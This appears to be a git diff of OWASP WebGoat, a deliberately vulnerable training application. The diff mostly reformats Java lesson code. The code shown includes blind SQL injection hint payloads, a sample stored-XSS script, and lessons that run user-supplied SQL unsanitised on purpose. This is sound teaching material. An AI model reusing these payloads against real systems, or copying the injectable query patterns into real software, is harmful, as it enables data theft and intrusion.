diff --git a/main/project/JavaSource/org/owasp/webgoat/Catcher.java b/main/project/JavaSource/org/owasp/webgoat/Catcher.java index 563a91688..3d490e1f1 100644 --- a/main/project/JavaSource/org/owasp/webgoat/Catcher.java +++ b/main/project/JavaSource/org/owasp/webgoat/Catcher.java @@ -82,7 +82,7 @@ public class Catcher extends HammerHead // setCacheHeaders(response, 0); WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION); session.update(request, response, this.getServletName()); // FIXME: Too much in this - // call. + // call. int scr = session.getCurrentScreen(); Course course = session.getCourse(); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java b/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java index 6b0c337f4..873a9a91b 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java @@ -11,7 +11,6 @@ import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.List; - import org.apache.ecs.Element; import org.apache.ecs.ElementContainer; import org.apache.ecs.StringElement; @@ -504,9 +503,9 @@ public abstract class AbstractLesson extends Screen implements Comparable" - + "Send this message to: " + - s.getWebgoatContext().getFeedbackAddress() + ""); + + "Send this message to: " + s.getWebgoatContext().getFeedbackAddress() + ""); } Html html = new Html(); @@ -531,15 +530,15 @@ public abstract class AbstractLesson extends Screen implements Comparable" - + "Send this message to: " + - s.getWebgoatContext().getFeedbackAddress() + ""); + + "Send this message to: " + s.getWebgoatContext().getFeedbackAddress() + ""); } // Solutions are html files diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java index 0802a54a1..309e6336e 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java @@ -78,10 +78,11 @@ public class BackDoors extends SequentialLessonAdapter { return concept2(s); } - + private void addDBEntriesToEC(ElementContainer ec, ResultSet rs) { - try { + try + { if (rs.next()) { Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1); @@ -92,7 +93,7 @@ public class BackDoors extends SequentialLessonAdapter tr.addElement(new TH("Salary")); tr.addElement(new TH("E-Mail")); t.addElement(tr); - + tr = new TR(); tr.addElement(new TD(rs.getString("userid"))); tr.addElement(new TD(rs.getString("password"))); @@ -112,7 +113,8 @@ public class BackDoors extends SequentialLessonAdapter } ec.addElement(t); } - } catch (SQLException e) { + } catch (SQLException e) + { // TODO Auto-generated catch block e.printStackTrace(); } @@ -166,9 +168,8 @@ public class BackDoors extends SequentialLessonAdapter userInput = SELECT_ST + userInput; String[] arrSQL = userInput.split(";"); Connection conn = DatabaseUtilities.getConnection(s); - Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - + Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + if (arrSQL.length == 2) { if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1) @@ -178,7 +179,6 @@ public class BackDoors extends SequentialLessonAdapter } ResultSet rs = statement.executeQuery(arrSQL[0]); addDBEntriesToEC(ec, rs); - } return ec; diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java index 121c12144..974abb709 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java @@ -89,8 +89,8 @@ public class BlindSqlInjection extends LessonAdapter ResultSet.CONCUR_READ_ONLY); ResultSet answer_results = answer_statement.executeQuery(answer_query); answer_results.first(); - //System.out.println("Account: " + accountNumber); - //System.out.println("Answer : " + answer_results.getString(1)); + // System.out.println("Account: " + accountNumber); + // System.out.println("Answer : " + answer_results.getString(1)); if (accountNumber.toString().equals(answer_results.getString(1))) { makeSuccess(s); @@ -144,7 +144,6 @@ public class BlindSqlInjection extends LessonAdapter return new StringElement("By Chuck Willis"); } - /** * Gets the hints attribute of the DatabaseFieldScreen object * @@ -153,35 +152,33 @@ public class BlindSqlInjection extends LessonAdapter protected List getHints(WebSession s) { List hints = new ArrayList(); - hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " - + "Create a SQL statement that you can use as a true/false test and then " - + "select the first character of the target element and do a start narrowing " - + "down the character using > and <" - + "

The backend database is HSQLDB. Keep that in mind if you research SQL functions " - + "on the Internet since different databases use some different functions and syntax."); - hints.add("This is the code for the query being built and issued by WebGoat:

" - + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); - hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " - + "You will need to make use of the following SQL functions: " - + "

SELECT - query for your target data and get a string " - + "

substr(string, start, length) - returns a " - + "substring of string starting at the start character and going for length characters " - + "

ascii(string) will return the ascii value of the first character in string " - + "

> and < - once you have a character's value, compare it to a choosen one"); - hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM - + " less than 'M' (ascii 77)? " - + "

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM - + ") , 1 , 1) ) < 77 ); " - + "

If you get back that account number is valid, then yes. If get back that the number is" - + "invalid then answer is no."); - hints.add("Another example: is the second character of the first_name of userid " - + TARGET_ACCT_NUM - + " greater than 'm' (ascii 109)? " - + "

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" - + TARGET_ACCT_NUM - + ") , 2 , 1) ) > 109 ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); + hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Create a SQL statement that you can use as a true/false test and then " + + "select the first character of the target element and do a start narrowing " + + "down the character using > and <" + + "

The backend database is HSQLDB. Keep that in mind if you research SQL functions " + + "on the Internet since different databases use some different functions and syntax."); + hints.add("This is the code for the query being built and issued by WebGoat:

" + + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " + + "You will need to make use of the following SQL functions: " + + "

SELECT - query for your target data and get a string " + + "

substr(string, start, length) - returns a " + + "substring of string starting at the start character and going for length characters " + + "

ascii(string) will return the ascii value of the first character in string " + + "

> and < - once you have a character's value, compare it to a choosen one"); + hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM + + " less than 'M' (ascii 77)? " + + "

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM + + ") , 1 , 1) ) < 77 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is" + + "invalid then answer is no."); + hints.add("Another example: is the second character of the first_name of userid " + TARGET_ACCT_NUM + + " greater than 'm' (ascii 109)? " + + "

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM + + ") , 2 , 1) ) > 109 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); return hints; } @@ -233,7 +230,7 @@ public class BlindSqlInjection extends LessonAdapter super.handleRequest(s); } catch (Exception e) { - //System.out.println("Exception caught: " + e); + // System.out.println("Exception caught: " + e); e.printStackTrace(System.out); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java index e661e06a3..290fab958 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java @@ -68,7 +68,7 @@ public class CSRF extends LessonAdapter private final static int TITLE_COL = 2; private static int count = 1; private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted - // message + // message private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies") .setBorder(0).setHspace(0).setVspace(0); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java index 063b57420..87a14c8a6 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java @@ -40,7 +40,7 @@ public class Category implements Comparable { public final static Category INTRODUCTION = new Category("Introduction", new Integer(5)); - + public final static Category GENERAL = new Category("General", new Integer(100)); public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(200)); @@ -64,7 +64,7 @@ public class Category implements Comparable public final static Category INJECTION = new Category("Injection Flaws", new Integer(1200)); public final static Category INSECURE_COMMUNICATION = new Category("Insecure Communication", new Integer(1300)); - + public final static Category INSECURE_CONFIGURATION = new Category("Insecure Configuration", new Integer(1400)); public final static Category INSECURE_STORAGE = new Category("Insecure Storage", new Integer(1500)); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java index 924767fb8..2b06a26ab 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java @@ -282,7 +282,6 @@ public class Challenge2Screen extends SequentialLessonAdapter */ /* * (non-Javadoc) - * * @see lessons.LessonAdapter#doStage3(session.WebSession) */ protected Element doStage3(WebSession s) throws Exception @@ -631,7 +630,7 @@ public class Challenge2Screen extends SequentialLessonAdapter t.setBorder(1); } - String[] colWidths = new String[]{"55", "110", "260", "70"}; + String[] colWidths = new String[] { "55", "110", "260", "70" }; TR tr = new TR(); tr.addElement(new TH().addElement("Protocol").setWidth(colWidths[0])); tr.addElement(new TH().addElement("Local Address").setWidth(colWidths[1])); @@ -678,7 +677,7 @@ public class Challenge2Screen extends SequentialLessonAdapter tr = new TR(); TD td; StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t "); - while (tokens.hasMoreTokens() && columnCount <4) + while (tokens.hasMoreTokens() && columnCount < 4) { td = new TD().setWidth(colWidths[columnCount++]); tr.addElement(td.addElement(tokens.nextToken())); @@ -725,7 +724,7 @@ public class Challenge2Screen extends SequentialLessonAdapter osw.write(message); } catch (Exception e) { - //System.out.println("Couldn't write " + message + " to " + s); + // System.out.println("Couldn't write " + message + " to " + s); e.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java index 804f26fb8..530a74af1 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java @@ -95,8 +95,6 @@ public class ClientSideFiltering extends SequentialLessonAdapter t.setID("hiddenEmployeeRecords"); t.setStyle("display: none"); - - workspaceDiv.addElement(t); @@ -334,7 +332,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter hints.add("Stage 1: Use Firebug to find where the information is stored on the client side."); - hints.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); + hints + .add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); hints.add("Stage 1: Look in the last row of the hidden table."); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java index c3bbdf763..20034a318 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java @@ -137,7 +137,7 @@ public class ConcurrencyCart extends LessonAdapter } catch (ParameterNotFoundException pnfe) { - //System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); + // System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); } @@ -154,9 +154,7 @@ public class ConcurrencyCart extends LessonAdapter } /* - * ********************************************************************* ****************** - * PURCHASING PAGE ********************************** - * ********************************************************************* + * PURCHASING PAGE */ private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, @@ -303,9 +301,7 @@ public class ConcurrencyCart extends LessonAdapter } /* - * ********************************************************************* ****************** - * CONFIRMATION PAGE ******************************** - * ********************************************************************* + * CONFIRMATION PAGE */ private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) @@ -420,9 +416,7 @@ public class ConcurrencyCart extends LessonAdapter } /* - * ********************************************************************* ****************** - * SHOPPING PAGE ********************************** - * ********************************************************************* + * SHOPPING PAGE */ private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java index 1260b13b0..96ae2e6da 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java @@ -98,23 +98,25 @@ public class CrossSiteScripting extends GoatHillsFinancial { return Category.XSS; } - - - public String getLessonSolutionFileName(WebSession s) { + + public String getLessonSolutionFileName(WebSession s) + { String solutionFileName = null; String stage = getStage(s); solutionFileName = "/lesson_solutions/Lab XSS/Lab " + stage + ".html"; return solutionFileName; } - + @Override - public String getSolution(WebSession s) { + public String getSolution(WebSession s) + { String src = null; try { - //System.out.println("Solution: " + getLessonSolutionFileName(s)); - src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false); + // System.out.println("Solution: " + getLessonSolutionFileName(s)); + src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), + false); } catch (IOException e) { s.setMessage("Could not find the solution file"); @@ -123,7 +125,7 @@ public class CrossSiteScripting extends GoatHillsFinancial return src; } - + /** * Gets the hints attribute of the DirectoryScreen object * @@ -148,9 +150,9 @@ public class CrossSiteScripting extends GoatHillsFinancial // Stage 3 - // Stage 4 - hints.add("Stage4: Examine content served in response to form submissions looking for data taken from the form."); + hints + .add("Stage4: Examine content served in response to form submissions looking for data taken from the form."); hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util"); // Stage 5 hints @@ -179,8 +181,8 @@ public class CrossSiteScripting extends GoatHillsFinancial } else if (STAGE2.equals(stage)) { - instructions = "Stage 2: Block Stored XSS using Input Validation.

" + - " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + instructions = "Stage 2: Block Stored XSS using Input Validation.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + "Implement a fix to block the stored XSS before it can be written to the database. " + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; } @@ -192,8 +194,8 @@ public class CrossSiteScripting extends GoatHillsFinancial } else if (STAGE4.equals(stage)) { - instructions = "Stage 4: Block Stored XSS using Output Encoding.

" + - " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + instructions = "Stage 4: Block Stored XSS using Output Encoding.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + "Implement a fix to block XSS after it is read from the database. " + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack."; } @@ -205,8 +207,8 @@ public class CrossSiteScripting extends GoatHillsFinancial } else if (STAGE6.equals(stage)) { - instructions = "Stage 6: Block Reflected XSS using Input Validation.

" + - " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + instructions = "Stage 6: Block Reflected XSS using Input Validation.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + "Implement a fix to block this reflected XSS attack. " + "Repeat step 5. Verify that the attack URL is no longer effective."; } @@ -258,28 +260,28 @@ public class CrossSiteScripting extends GoatHillsFinancial } } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { s.setMessage("You are not authorized to perform this function"); - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java index 4224c606e..e351aab12 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java @@ -97,8 +97,8 @@ public class EditProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { @@ -141,8 +141,8 @@ public class EditProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java index 9623c28e1..1ab4068e1 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java @@ -104,11 +104,11 @@ public class FindProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } @@ -171,8 +171,8 @@ public class FindProfile extends DefaultLessonAction .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */ setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id)); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java index 330af3a85..b2e8d0fa8 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java @@ -94,11 +94,11 @@ public class UpdateProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } @@ -111,8 +111,8 @@ public class UpdateProfile extends DefaultLessonAction { // The input validation can be added using a parsing component // or by using an inline regular expression. The parsing component - // is the better solution. - + // is the better solution. + HttpServletRequest request = s.getRequest(); String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); @@ -129,7 +129,6 @@ public class UpdateProfile extends DefaultLessonAction String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); - Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java index 80499438b..430c4cb79 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java @@ -4,7 +4,6 @@ package org.owasp.webgoat.lessons.CrossSiteScripting; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; - import org.apache.ecs.xhtml.html; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; @@ -16,7 +15,6 @@ import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.util.HtmlEncoder; - import com.sun.corba.se.spi.activation.Server; @@ -92,7 +90,6 @@ public class ViewProfile extends DefaultLessonAction { Employee profile = null; - // Query the database for the profile data of the given employee try { @@ -108,15 +105,15 @@ public class ViewProfile extends DefaultLessonAction // Note: Do NOT get the password field. profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), - answer_results.getString("address1"), answer_results.getString("address2"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { @@ -131,14 +128,13 @@ public class ViewProfile extends DefaultLessonAction return profile; } - public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException { // Query the database to determine if this employee has access to this function // Query the database for the profile data of the given employee if "owned" by the given // user - + Employee profile = null; // Query the database for the profile data of the given employee @@ -162,11 +158,10 @@ public class ViewProfile extends DefaultLessonAction .getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java index acb8d5d41..62d20ec0a 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java @@ -124,8 +124,8 @@ public class DBCrossSiteScripting extends GoatHillsFinancial String stage = getStage(s); if (STAGE1.equals(stage)) { - instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

"+ - " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + "Verify that 'Jerry' is affected by the attack. " + "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>."; @@ -186,28 +186,28 @@ public class DBCrossSiteScripting extends GoatHillsFinancial } } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { s.setMessage("You are not authorized to perform this function"); - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java index 58ea7f458..d9e3a4f07 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java @@ -129,11 +129,11 @@ public class UpdateProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java index 620c74cd1..890b06c6d 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java @@ -187,28 +187,28 @@ public class DBSQLInjection extends GoatHillsFinancial setCurrentAction(s, ERROR_ACTION); } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { s.setMessage("You are not authorized to perform this function"); - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java index 5644c59ec..6816a9e5e 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java @@ -82,11 +82,11 @@ public class Login extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java index 08d469d90..3332717dd 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java @@ -61,11 +61,11 @@ public class DOMInjection extends LessonAdapter .setBorder(0).setHspace(0).setVspace(0); private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N"; - + public void handleRequest(WebSession s) { try - { + { String userKey = s.getParser().getRawParameter(KEY, ""); String fromAJAX = s.getParser().getRawParameter("from", ""); if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key)) @@ -74,11 +74,10 @@ public class DOMInjection extends LessonAdapter s.getResponse().setHeader("Cache-Control", "no-cache"); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); - 